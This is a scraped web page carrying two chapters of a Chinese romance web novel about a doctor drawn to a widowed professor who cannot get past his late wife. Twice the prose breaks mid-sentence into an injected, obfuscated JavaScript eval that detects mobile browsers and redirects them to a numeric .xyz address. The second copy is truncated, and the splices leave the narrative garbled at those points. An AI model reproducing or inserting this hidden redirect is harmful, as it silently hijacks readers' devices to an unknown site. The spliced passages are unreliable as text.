贺清时专注开车,缄默不语。车厢里很安静,均匀的两道呼吸浮在空气里。 雨水敲击车窗玻璃,斑驳陆离。雨刮器卖力工作,簌簌摇摆。 霍初雪看着窗外的世界,心绪不宁,一阵烦躁。 她扭头瞥见一截刚毅冷峻的下颌线,蓦地出声:“贺先生。” 车内光线昏暗,男人的双眸却漆亮有神,宛如一面寂静深海。 海上蒙着大雾,始终看不真切。 他打着方向盘,无意识地接一句:“怎么了霍医生?” “我们找地儿喝一杯。”霍初雪单刀直入,不带任何犹豫,干脆得可怕。 贺清时:“……” 贺清时倏然一愣,半晌才出声:“去哪儿?” 车子刚好路过一家日料店。霍初雪往外头瞥一眼,明亮灯火落入她眼底,当即决定:“就这家日料店好了。” 贺清时顺着她的目光看出去,日料店鎏金的招牌在迷蒙的雨雾里莹莹发亮,分外醒目。 他及时踩下刹车,轻声说:“好。” —— 日料店的环境清幽雅致,气氛温馨,这个点还有很多食客。 霍初雪随便点了几个菜品,叫了清酒。 吃什么不重要,关键是找个人说话。这个雨夜,她第一次感受到了孤独。因为潜藏在心底的疼痛被人搬上了台面。结痂的伤口再次被撕开,鲜血淋漓。 餐桌上摆着一捧绣球,浅紫色小花怯生生绽放,清新的颜色入目,看得人眼前一亮。 灯光很暖,映照着男人的脸都是暖的,褪去一贯的清冷。 贺清时中规中矩坐着,坐姿很正式,生硬而刻板。 他脱了西服外套,只穿一件单薄衬衣。白衬衫熨烫平整,不见褶皱,领口的纽扣扣得一丝不苟。 霍初雪盯着衬衫最上面的一颗纽扣,盯了好几秒,似乎连上头细小的花纹都看清楚了。 大牌子的衬衫,从面料到辅料,一针一线,设计剪裁,甚至连一颗小小的纽扣都无不透着大牌该有的精致。 贺清时隐约察觉到女人的赤.裸直白目光,有些不自在。 他低头咳咳两声,清了清嗓子,“霍医生,你在看什么?” 霍初雪这才收 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“刚才在包厢你那群学生那么闹腾,你也没喝酒么?” “他们知道我不喝酒,不会勉强我。” “那是我强人所难了。”知道他执拗的性子,她遂不再勉强。 说是找个人说话,其实两人的交谈并不多。她有很多话想跟他说,可惜无从开口。心里压着好多好多事情,每一件似乎都值得拿出来同他细说。可一时之间又不知道该从哪里起这个话茬。 “贺先生的牙疼好了吗?”霍初雪有点没话找话。 贺清时嗓音微沉,“已经好了,谢谢关心。” 两杯过后,女人似乎有些醉了,半趴在桌沿,眼神迷离,整个人慵懒得厉害。 她慢慢晃着杯子里的酒水,透明的液体一圈圈荡漾,打着细细小小的水花儿。眼睛有自己的想法,又不自觉转向贺清时的领口。这次比之前还直白裸.露,毫不避讳。 贺清时分外不解,无奈出声:“霍医生究竟在看什么?” “你能不能把最上面那颗扣子解了。”酒壮怂人胆,喝了酒,脑子不太灵光,胆大包天的话直接冒了出来。 贺清时:“……” “什么?” “我有强迫症,看你捂得这么严实太难受了。” 贺清时:“……” 贺清时一整个愣住了。大脑光速宕机,思维停滞,有好几秒未出声。 日复一日,经年累月,他已经习惯了这样穿衣,从来没有人跟他提过这点。 他自己也从未意识到这点。 周遭沉默了片刻,他到底还是将右手伸向了衬衫衣领。 扣子解开,露出一小截精致漂亮的锁骨。常年未见光,周围一圈的皮肤极其白皙,像是一块水头极好的冰种翡翠,莹润细腻。 霍初雪没忍住,贪婪地看了两眼。 “这下强迫症患者看着舒服多了。”她表情微醺,唇角上扬,笑意无声绽放,“上次在粥店就想跟你说了,你总是捂得这么严实不热么?” 热吗? 好像是有点。 不过他已经习惯了这样。习惯了也就不在意热不热了。 霍初雪根本不等他琢磨出答案,擅自又换了话题,“这歌有些熟悉。” 贺清时静静听着歌词,心绪混乱,压制住情绪,“《乱世佳人》的主题曲《我之真爱》。” “原来是老歌儿啊!”她不禁呢喃细语:“难怪听起来这么熟悉。” 烟瘾悄无声息窜上心头,男人从裤袋里摸出烟盒,轻声征询:“可以吗?” 霍初雪抬手,“贺先生自便。” 打火机火苗一闪而逝,青烟缭绕而上,也将烟草味儿铺散开来,四处弥漫。 霍初雪是第一次看到贺清时抽烟。 他含着烟,抽得很慢,仿佛有满腹心事。 霍初雪有些走神,光顾着看贺清时抽烟了。 窗外雨声淅淅沥沥,不复之前清晰可闻,飘得有些远。 也不知过了多久,她找回点思绪,仰头灌一口酒,“我都没见过贺先生抽烟。” “平时抽得很少。”他就着滤嘴狠狠吸了两口,转头就把烟给掐了。 她随意瞥了一眼,瓷白的烟灰缸里还剩下大半截。 他不是真的想抽烟,而是只为过一把烟瘾。 烟雾之下,男人那张脸迷离深邃,眼底复杂情绪翻滚。说不清,道不明,看不透。 霍初雪敏锐地察觉到不知道从什么时候开始贺清时的情绪好像变了。 “贺先生你怎么了?” “那霍医生今晚又怎么了?”贺清时平静望着她,这样反问。 她缓缓抬头,眼圈儿微微泛红,“想起了一个高中老师。” 男人的嗓音低下去几分,“她怎么了?” “去世了。” 14. 第13棵树 第13棵树 这雨一连下了一周,牛毛细雨,洋洋洒洒,大气湿润,氤氲着无数水汽。 一周后,天放晴,天清气明,惠风和畅。 青陵的天气向来没个定数,在春日里尤其多变。一遇晴天,气温直线攀升,一下子窜到了三十度。 时髦的姑娘春装都不屑穿了,很多人早早就换上了漂亮的小裙子,光着白花花的两条腿,招摇过市。 贺清时一年四季都是那身打扮,除却西装还是西装,仅有的区别就是春夏薄一点,秋冬厚一些。 周五,贺清时上午有课。 晨起,他换衣服上班,衬衫套在身上,沿着门襟一颗一颗往下系扣子。 一双手触碰到领口处最上面那颗扣子,不知为何,蓦地一顿。几乎是一瞬间,脑海里猛地蹦出霍初雪那晚的话—— “你总是捂得这么严实不热么?” 心思微妙地转了一转,留下那颗扣子没扣。 开车去学校,沿途的那些水杉和梧桐树似乎又浓绿了几分,春意愈见明显。 3班的课在第一节。 贺清时总是在打铃前五分钟到教室,下课前五分钟点名,雷打不动。 八点二十五分,他准时出现在阶梯大教室。 他一现身,原本喧闹的大教室瞬间归于安静。 江暖坐在第一排,目不转睛,典型的好学生模样。 几乎所有的大学课堂都一个样子,前三排一般都是好学生,酱油党们都喜欢往后面几排占座,远离老师的视线,方便摸鱼。 今天看到贺清时,江暖说不清为什么,总觉得他好像有些变了。似乎变得意气风发,精神抖擞了。 “上课!”清润如常的嗓音,拂过耳郭。 坐在江暖边上的是同寝室的姑娘,她凑到江暖耳旁压低嗓音说:“有没有觉得咱们贺老师今天不一样了?” 江暖心下一怔,忙抬眸看对方,“怎么说?” 室友伸手指了指领口,“衬衫扣子。” 江暖顺势远远看过去,贺老师今天穿了一件浅蓝色棉质衬衫,衣料轻薄,熨烫整齐。和往日不同,领口松松敞开,并没有把所有纽扣都扣死,而是留了最上面一颗,露出一小截锁骨,骨感嶙峋。 扣子没扣死,自然平添几分轻松和慵懒,成功褪去一贯的守旧古板。 “破天荒啊,老人家都转性了!”室友捧住脸颊,惊叹万分。 “天热吧。”江暖过了好久才收回目光。 “得了吧,贺老师教了我们一学期了,你什么时候看他解过扣子?大夏天都没有!” 所以是因为什么呢? —— 上午上完课,贺清时开车去兰姨家。前两天答应了兰姨,今天要去家里吃饭。 兰姨如今住在青陵郊区的一个老小区。房子是贺清时替二老租的。 老两口做试管婴儿已经花光了大半生积蓄,望川老家的房子也卖了。 在贺清时眼里,老两口是他在这世上唯一的亲人,怎么帮衬都不为过。他自然是想给他们买套房子住的。可老人家固执,死活不同意,情愿在郊区租房子,也不想给他家中负担。兰姨生产后,他想请个月嫂照顾她,二老也不让。 他站在门外,门没锁,轻轻一推就开了。 应该是一早知道他要来,贵叔特意给他留了门。 之前有一次他赶着饭点来家里,贵叔在厨房做饭,听不到他摁门铃。兰姨坐月子又不能起身给他开门。他在外头站了大半个小时,只能一遍遍给贵叔发短信,让他来给自己开门。 这次过来门就虚掩着了。 门一开,贺清时立即闻到了油焖大虾的味道,葱蒜香浓郁非常,直冲鼻尖。 他每次来都带一大堆东西。他礼盒放到客厅茶几上,悄声走进厨房。 贵叔果然是在烧油焖大虾,锅里汤汁翻腾,红色大虾鲜香诱人。 贵叔看到他,当即露出笑脸,伸手比划两下:“清时,你来了啊!” 贺清也比划着,“刚下课就过来了。” 都是自己人,跟贵叔打了个招呼过后,贺清时便立刻退出厨房,留对方继续忙活。 他去看兰姨和小晴天。 小晴天已经二十多天了,就快满月了。小家伙长开了不少,皮肤细腻,模样可爱,躺在摇篮里睡得酣熟。 贺清时四下打量两眼,兰姨睡的这间房间看着很小,而且又乱,各种杂物堆在一起,看上去逼仄不堪。 孩子在睡觉,贺清时不敢大声说话,压低声线问:“没请月嫂,贵叔一个人忙得过来吗?” 兰姨靠在床头,薄被盖在身上,面色红润。 她微微一笑,“忙得过来,你贵叔他又不是第一次照顾我做月子,当年生媛媛都是他一个人照顾我的,他有经验。” 听兰姨这么说,贺清时这才放心下来。毕竟都上了年纪了,面对一个刚出生的孩子,这二十几天他总担心老两口会手忙脚乱,应付不过来。 兰姨从床头摸出一只信封,温声细语,“清时,这钱我们没用,你快拿回去。” 贺清时抬眼一看,这是之前他偷偷塞给贵叔的。 他没接,只说:“这是给孩子的。” “给孩子的,我们也不能收。这些年我们欠你太多了,你不能一直这样贴补我们。我俩就是无底洞,填不满的。你还年轻,应该有你自己的生活。这些年你贴补给我们的钱,我都一笔一笔都给你记着,以后慢慢还给你。” “没多少钱,您和贵叔犯不着记得这么清楚。在我心里你们都是我的亲人。如果缈缈还在,她也会这么做的。” “因为缈缈,咱们才成为一家人。可我和你贵叔不是你的义务,这些年你已经为我们做的够多了。我们一家不该成为你的负担,你得过好你自己的日子。” “兰姨,您这么说就见外了。”贺清时压了压眉,面露不悦。 “媛媛刚走那几年,我们老两口一直走不出来。我时常抱着媛媛的照片,一夜一夜枯坐到天亮。不敢看到同龄的女孩子,一看到她们,我就会想起媛媛。然后就开始掉眼泪,疯狂地想念她。我甚至会邪恶得想,为什么死的不是别人,偏偏是我的女儿。” 兰姨话锋一转,“可是现在好了,我们有了晴天,他会代替媛媛陪伴我们,再苦再难我和你贵叔都不怕了。” 她温柔地望着面前的年轻人,“清时呐,这么难我们都走出来了,你难道还走不出来吗?缈缈泉下有知,一定也不忍心看到你这样折磨自己。” 提起苏缈,贺清时的表情一瞬间冷却下来。他回避掉兰姨的视线,有些生硬地说:“兰姨,我现在挺好的,您不用担心我。” 是挺好的,会吃会睡,像个没事人一样,可却不会笑了。 兰姨到底于心不忍,不敢逼他。有些话点到为止,没摊开来细说。纵然回忆久远,隔着这么多个日夜,可到底是丧妻之痛,一旦细说难免伤筋动骨。 “叮咚……”就在这个时候,门铃响了。 兰姨忙说:“清时,替我去开下门。” 贺清时敛起神色,恢复如常。 他沉声问:“还有谁要来吗?” 兰姨下意识说:“应该是医院的人。” 他心头一跳,似有预感。 —— 贺清时跑去开门,门一开,霍初雪果然就站在门外。 老旧的小区,楼道口昏暗,一小捧光线静悄悄照射进来,暗影重重。可她的出现,无疑让人眼前一亮。 她穿了件珍珠白的一字肩衬衫,搭配墨绿色格纹半身裙,露出白皙小巧脚踝,白色板鞋纤尘不染,身段娉婷。 仔细看发现她还化了淡妆,薄薄的一层粉底打底,描了两道秀眉。唇彩最是惹眼,是明亮的枫叶红,衬得整个人容光焕发。 随意绑了个丸子头,扎得松,有几缕发丝散落下来,沾在修长的脖颈处。牛油果绿的小方包垮垮地挂在身上,右手提着一只果篮,妩媚中又不失俏皮可爱。 贺清时其实很少看到霍初雪穿别的衣服,每次见到她基本上都是在医院,她都穿着规整严肃的白大褂,精神干练有余,也显得十分清冷。余下几次都是风衣,简洁明快,却也不惹眼。 说实话,他其实很少关注别人的穿衣打扮,小年轻的奇装异服也激不起他多看两眼。然而奇怪的是,他竟然能够把霍初雪的穿着记得这么清楚。 深究之下,他认为大概是看她穿了太多次的白大褂,别的衣服反而显得突出了,这才留下了印象。 看到贺清时霍初雪明显有些意外,来之前心里就有期待,却真没想到期待成了真。 意外之喜,老天都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487866|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在帮她。 距离上次一起喝酒,他们已经有整整一周没见过面了,中间也没联系过。 她嗓音愉悦,眼角眉梢流露出笑意,风姿灼灼,“贺先生,你也在啊?” 贺清时侧身让开,“我今天过来看看兰姨,霍医生请进!” 霍初雪往地上看了看,“需要换鞋吗?” “不用,直接踩进来。” 她抬步而入,下意识四下观察起来。 这房子确实小,两室一厅,顶多五十多平米。而且很乱,四目所及之处,各种杂物,零零碎碎,堆得到处都是,站人的位置都好像不够。 贺清时进厨房告诉贵叔霍初雪来了。 贵叔匆忙关小了火,洗了个手,围着围裙直接跑出来,比划手势,“霍医生你来啦?” 霍初雪不懂手语,但也能大致看懂贵叔在说些什么,她柔柔一笑,“贵叔好。” 贵叔赶紧去收拾沙发,东西散落四处,一件一件捡起来。 他指指沙发,热情地比划着,“霍医生,快坐快坐!” 贺清时拉住贵叔,对他打手势,“您先去忙,我来招呼霍医生。” 听贺清时这样说,贵叔又一头扎进厨房继续忙活。 “请坐霍医生。”贺清时俨然成为半个主人,招待起霍初雪,“喝点什么?茶可以吗?” “不用了,我进去看看张阿姨。”霍初雪把果篮放在茶几上,眼神搜索,“她住在哪个房间?” 贺清时抬手指了指,“左手边那间。” “霍医生来了啊!”兰姨笑容亲切,“听到你的说话声了。” 霍初雪面露歉意,“不好意思啊张阿姨,本来应该早点过来,可上午临时接了台手术就给耽搁了。鉴于您的情况比较特殊,医院要定期做回访,好及时了解您出院以后的情况,方主任派了我过来。” 类似的定期回访产科也有过,对象一般是疑难杂症,有特殊病史的病人。不过一般都是一个电话的事儿,很少有医生真正上门的。不过是方茹体恤张淑兰一家,才派霍初雪亲自上门一趟。 也不怪霍初雪小题大做,因为她本人藏有别的小心思。 兰姨面露感激,“霍医生,你工作这么忙,还难为你亲自跑一趟。” “身体恢复得还好吧?污血排得怎么样?” “已经排干净了。” “胃口呢?” “挺好的,一顿能吃两碗米饭。” “胃口很好啊!”霍初雪笑起来,眼睛很亮,像是嵌了无数星辰,熠熠生姿。 “我看看孩子。”霍初雪探身看向摇篮。 小晴天躺在摇篮里,看到霍初雪,乌黑的小眼睛里充满了好奇,滴溜溜直打转,还不忘咧嘴对她笑。 孩子简直就是天使,他一笑,她觉得自己的一颗心都要被融化了。 “小晴天都会笑了。”她不禁面露惊喜。 兰姨看看霍初雪,又看看孩子,一脸慈爱,“比媛媛小时候还要厉害,笑得很早。” 霍初雪俯身抱起孩子,“长开了不少,越来越可爱了呢!” 兰姨说:“一天一个样儿,变化很大。” “笑得真好。” 霍初雪捏住小晴天软绵绵的小手,和他说话:“小晴天你好啊!” “来,给姐姐笑一个!” “见到我是不是很开心呀?” …… 孩子咧开小嘴,笑个不停。 “张阿姨你看,他一直在笑呢。” 兰姨说:“他喜欢你呢,一直对你笑。” 贺清时站在边上,安静地看着这一大一小互动,霍初雪眉眼带笑,表情温柔,小晴天天真可爱。一时之间,他竟有些恍惚。 记忆轰隆运作,拉扯出巨大的断层。过往片段瞬间化作一帧帧老旧的电影镜头,见缝插针一个劲儿往人脑海里钻。 经春累秋,岁月迢迢,横跨十年,他终于看到了自己幻想了无数次,却始终未能实现的一幕。 十年前就该是这样的。 隔了十年,物是人非。 男人的眼神深邃幽邈,深谙的眼底云遮雾绕,看不真切。 霍初雪专心逗孩子,未曾察觉到贺清时的情绪转变。 她抱着孩子走近他,语气自然,“贺先生,你要抱抱他吗?” 15. 第14棵树 第14棵树 霍初雪只是随口一问,并不走心。 话一出口,空气静默一瞬,气氛微妙的产生了变化。 男人身形微僵,眼里的温度急速冷却。视线范围内,小婴儿咧着嘴角,笑得一脸无辜。 他觉得自己气血翻涌,刻意压制的坏情绪破阀而出,一泻千里。 脸上失去血色,慢慢转白,垂在一侧的手紧握成拳。 兰姨敏锐地察觉到贺清时的反应,赶忙转移话题:“霍医生,晴天该喂奶了,你帮我把奶瓶拿过来。” 霍初雪被成功转移注意力,接过话茬问:“奶瓶放哪儿?” 兰姨抬手指了指右手边的长木桌,“在温奶器上放着。” “我去看看贵叔饭有没有烧好。”贺清时抽身离开,遁去厨房。 颇有一股落荒而逃的狼狈。 霍初雪冲好奶粉,坐在床边给小晴天喂奶。 小晴天用力吮吸着奶嘴,吃得格外满足。 她偏过半边脸对着兰姨,神色不解,“张阿姨,贺先生是不喜欢孩子吗?” 每次提到孩子,贺清时的反应就很不对劲儿。他虽极力克制,可眼神却藏不住,外泄了个干净。 他眼里有痛苦,有害怕,有挣扎,更有绝望。 “唉!”兰姨叹了口气,无奈道:“他不是不喜欢孩子,他是害怕孩子。” —— 夫妇俩非常热情,一定要留霍初雪在家里吃中饭。盛情难却,她只能留下。 贵叔的厨艺很赞,都是些家常小菜,味道却相当可口。尤其是那道油焖大虾,简直让人欲罢不能。 这对老夫妻为人和善,热情诚挚。霍初雪喜欢和他们待在一起,就像是在跟自己家人相处。 这顿饭她吃得心满意足。倒是贺清时,好像胃口不佳,几乎没怎么动筷子。 霍初雪下午要回趟父母家,不宜久留,午饭过后坐了一小会儿就起身告辞了。 贵叔给她送了一大箱枇杷。 霍初雪一脸惶恐,本能推辞:“我今天没开车来,拿不动的。” 她的车被林瑶临时征用,开去火车站接朋友了。她来这边还是坐的地铁。 贺清时自然接话:“霍医生不用担心,我开车送你回去。” 霍初雪:“……” 有人给她当司机,这箱枇杷自然推脱不掉。 贺清时替她把枇杷拿下楼。 满满一大箱,目测有十来斤。他掂在手里,毫不费力。 两人一道下了楼,贺清时的车停在单元楼对面的停车位上。 黑色小车沐浴在金色阳光下,灼灼其华。 贺清时解了锁,后备箱自动打开。 他绕到车后去放枇杷。 霍初雪轻轻拉开副驾车门,垂眼往座椅上随意一扫,一张熟悉的封面不期然撞进眸中。 她的视线瞬间凝住了。 那书是《风声雨声》,应该就是之前她在岑岭别墅见到的那本。书倒开着放在副驾上,书页平整。很显然有人刚刚翻阅过它。 贺清时放好枇杷,见霍初雪开着车门,半晌没坐进去。 他快步走到她身侧,“霍医生,怎么了?” 不等她回答,他便顺着她的目光,看到了那本书。 “不好意思,忘记拿了。”他暗自失笑,越过她收起书,转手放进储物盒。 霍初雪笑笑,没说话。她眨了眨厚重的眼皮,眼睛有些发酸。 两人同时坐进车里,贺清时娴熟地发动车子。 上次喝完酒就是他送霍初雪回去的。这次轻车熟路,直接往第一医院开。 霍医生如今住在第一医院的职工公寓楼。 一个市区,一个郊区,近四十分钟车程。同行的这段路自然变得无比冗长。 车子离开小区,平稳地驶进静谧的街道。 这条路上车流稀疏,远离喧嚣,无比宁静。偶有几个行人路过,步履匆匆。 路旁植有成排水杉,高耸入云端,像是正义凛然的哨兵守卫一方。高饱和度的绿色,是画板上浓墨重彩的一笔,抓人眼球。 天空蔚蓝,几只不知名的飞鸟停在枝头,唱着欢快的小曲儿。 春光作序,万物和鸣。 霍初雪望着窗外出神,一道道密集的树影从她眼前飞快闪过。她现在心里很乱,像是被猫抓过的线团,理不清明。胸腔里始终沉积着一股饱胀的酸涩感,咽不下,又吐不出。 两人一直没说话,似乎谁都不想主动打破这份沉默。 一阵张牙舞爪的死寂充斥四周,扑了霍初雪一身。 她闭上眼睛,眉心折痕明显。 僵持片刻,她到底受不住这样的气氛,一榔头砸下去,“你太太很喜欢丝萝吗?” 原本的死寂四分五裂,渣都不剩。 “你说什么?” 贺清时目视前方,专注开车,暂时没接上霍初雪的话茬。 “丝萝,《风声雨声》的作者。”她放低语速,重复一遍:“你太太很喜欢她吗?” 男人眼里的光急剧减退,变得暗淡。 他握紧方向盘,嗓音莫名压低几分,“丝萝是我太太最喜欢的一位作家,家里收藏了很多她的书。” 霍初雪不愿放过对方脸上任何一个细微表情,紧紧盯住他的俊颜,继续问:“你那本是特签吗?” 贺清时的目光不由自主飘向储物盒,停顿数秒,又不着痕迹地剥离掉。 “不是特签。”他稳了稳心神才说:“当年《风声雨声》开售的时候特别火,我太太抢了很多次都没抢到特签。” 丝萝当年火遍全网,她的特签书也到了一书难求的地步。 蝶翼般的眼睫轻柔煽动着,频率不自觉加快。理智像是浸了水的海绵,一点一点往下沉。 霍初雪觉得她一定要做点什么才好。 她干脆利落地问:“你想要特签吗?” 贺清时隆起眉峰,满眼疑惑,“什么意思?” 她笑容神秘,语出惊人,“我可以让丝萝给你补个特签。” 贺清时:“……” *** 林瑶那边有事耽搁到了,直到傍晚才把车开回来。 她把车钥匙还给霍初雪,一脸歉意,“不好意思啊霍医生,耽误你用车了。” “没事儿,我不着急用。” 就是回趟父母家,晚就晚一点,无所谓。 乔圣晞蹭霍初雪的顺风车回娘家。 贵叔送的那箱枇杷,她拿了一些给姑姑,又给乔圣晞留了一部分,余下的她带回去给母亲吃。 乔圣晞接过袋子,扒开袋口一看,迫不及待问:“这枇杷哪儿来的?” 霍初雪实话实说:“张阿姨给的。” “你下午去人家里了?” “嗯。”她点点头,“例行回访。” 乔圣晞忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔圣晞故作嫌弃,“霍初雪,你少来!” “我得提醒你啊,虽然你爸妈那里阻力很大,可首要的还是贺清时。这个男人这么长情,对死去的妻子感情深厚,你确定能让他对你动心吗?” 乔护士自上而下仔细打量着闺蜜,慢悠悠道:“这么看,咱们霍大医生是有点姿色在身上的。可人家长得也不赖啊!那颜值,叔圈天花板,秒杀一大票小鲜肉。而且人家又不缺钱,妥妥的单身贵族。能不能看上你还真不好说。” 霍初雪:“……” 是亲闺蜜没错了! 其实乔圣晞不说,霍初雪也早就看出贺清时家境优越,非普通人可比。毕竟他开的那辆奥迪也是百来万打底的。他平日里穿的衣服鞋子也全是大牌。只是那些牌子低调,乍一眼看过去还以为是普通品牌。 要不是她和乔圣晞平素关注时尚圈,她还不一定能认出来。 一个大学教授能这般阔绰,若非家里有矿,定然是私下里做了一些投资。 不过这些外在的东西对霍初雪是无关紧要的。她家里的条件不说大富大贵,盖过青陵一些普通人家也是绰绰有余的。 诚如乔圣晞说的,她最大的阻力始终都在贺清时身上,在他心里。 想到这里,她又不免想起那本《风声雨声》。一时间又平白生出了几分惆怅。 革命尚未成功,同志仍需努力呀!